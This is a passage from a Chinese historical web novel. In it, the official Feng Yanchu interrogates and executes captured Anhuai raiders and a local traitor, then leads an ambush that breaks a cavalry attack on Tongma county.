封砚初一个凌厉眼神甩过去,呵斥道:“胡主簿,唇亡齿寒的道理,你难道不懂吗?一旦铜麻县破了,接下来就是咱们漠阳,更何况都是大晟子民,焉有视而不见之理!”
随后看向身后之人,道:“诸位,随我前去支援!驾!”随着话音落下,一行人匆匆赶往铜麻县。
才进入铜麻县地界没多久,就看到零星的安怀骑兵已经混进来了,前面甚至还有人带路。
封砚初拿起挂在马上的紫杉长角弓,搭弓拉弦,只听‘噗呲’一声,一名安怀骑兵中箭倒地。
“杀!记得留个活口审问!”
随着一声令下,暮山最先反应过来,抽出长刀已经迎了上去!不过是乌合之众,三两下便已拿下。
暮山现在也算是历练出来了,对安怀骑兵和带路之人一起用刑,最终审问出来了。
其实早在之前,安怀部就与那几家富户乡绅商议过。铜麻县破后,将剩余的土地和店铺全部由他们几家瓜分,为此愿意给安怀部行方便,虽有不愿同流合污者,但到底力弱。
可齐县令突然来的一招,将原本的计划全部打乱;他终究没有赶尽杀绝,让这些余孽钻了空子,还有一些是安怀部,早在十几年之前埋进铜麻的暗线。
这几人见他们都已经全说了,立即求饶;那个带路之人更是连连磕头,“大人,小人已经全说了,求您饶小人一命,小人必定当牛做马报答您……”
可他的话还未说尽,就被封砚初用**挑了,“我生平最恨汉奸,很多事都是坏在这些吃里扒外之人的手里!”他说这话不仅仅是发泄,更是对身后众人的警告。
随后看向那几个安怀骑兵,“暮山!既然已经审出来,那就不用留活口了!”
这些人一听这话,立即想逃,可这怎么可能逃的掉,最终还是**了!
“暮山,你带一些人按他们说的挨个搜!我先去支援!”
“是!”
齐县令正狼狈之际,突然听到一阵马蹄声,回头一瞧,兴奋的挥手道:“封大人,封大人,幸亏你来了,不然就要守不住了!”可封砚初并停下,他眼看着对方骑着马,从眼前划过。
王县尉见状问道:“大人,莫不是封大人没看到?”
封砚初自然瞧见齐县令挥手,还听到对方兴奋的说话声。而他并未停下,先去了山口的方向,刚到地方就看到有一些人依旧在奋力抵抗。其中一部分明显是才被征招的百姓,可以说是打的毫无章法,眼看着就要被攻破了!
他方才路过齐县令驻守之地时,就留意过,那里两面都是山,心里立即想好了方案,看清情况,这才返回去找齐县令他们。
见到人之后,先是朝对方略拱拱手,然后说道:“齐大人,我方才去前头瞧了,如此也不是办法,伤亡太大;先将人放进来!”
齐县令听后声音都高了几分,“放进来!”
封砚初眼神坚定,“对,放进来,然后我的人先埋伏起来。前后合围,再加上两侧的弓箭手支应,关门打狗!”说话间指着两侧的高地。
齐县令对打仗一窍不通,封砚初对他而言就是主心骨,连连点头,“好好好,就听你的。”随后赶紧让人去通知。
封砚初对弓箭手道:“弓箭手,占领两侧高地!”随后自己带人隐匿起来。
没一会儿,一阵马蹄声响起,随
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后还传来那些人得意的呼吼。
封砚初耐着性子等候,他需要看着对方走进口袋里。而一旁的齐县令紧张不已,心都快要提到嗓子眼了,连呼吸声都粗了几分。
随着一声号角响起,他带着一群人将这些安怀骑兵合围起来。毕竟身后都是新兵蛋子,大多数人都没见过血,所以他要起一个带头作用。
为首之人看到封砚初先是一愣,对面显然之前就了解过铜麻县的人员布置,没想到出现在眼前的会是一个生脸,可见早有计划,并非莽撞。
此刻,已经意识到自己中计了,立即用安怀语喊道:“有埋伏,冲出去!”
封砚初听不懂,但不妨碍他接下来的行动,随即高声喊道:“弓箭手!射!”这一波就先送走了一半人。
“杀!”随着一声高喊,他率先冲了出去,没一会儿就有两条人命葬送在枪下。
有了这个带头,底下人见状也纷纷提着长矛冲了出去,一寸长一寸强,对方骑兵用的是弯刀,还未近身就被戳了个窟窿。
这是封砚初第一次上战场。说实话,他本以为自己多少会有些害怕,可事到临头,才发现只觉得杀的不够多,不够狠。
随着**不知疲倦的挥舞,送走了一条条鲜活的性命;迸发出的鲜血染红了身上的盔甲,脸上也被溅上点点血滴。此刻,他不再是那个温文尔雅的侯府郎君,而是一个充满煞气的杀神。
‘噗呲!’安怀首领的胸腔开出一朵红色的花,他不甘心的看着眼前之人,用极其标准的大晟话问出了那句,“你……到底……是谁?情报里……怎么……没提……”他并未等到回答,眼睛就已经永远闭上。
封砚初扫视一圈躺在地上的人,大多数都是安怀骑兵,可还有一些是他才从漠阳县带出来的。上一刻,他们都还是一条条鲜活的生命,如今都闭上了眼睛。
他知道,这是自己要面对的第一课,心中的酸楚不断扩散,似乎要从眼睛里出来了。
强行压下后,高声道:“打扫战场!”他的声音十分平静,听不出一丝伤痛。
然后一边示范着用**翻看,一边解说,遇到活着的敌人立即补上;遇上自己人便抬出来,还有气的命人医治。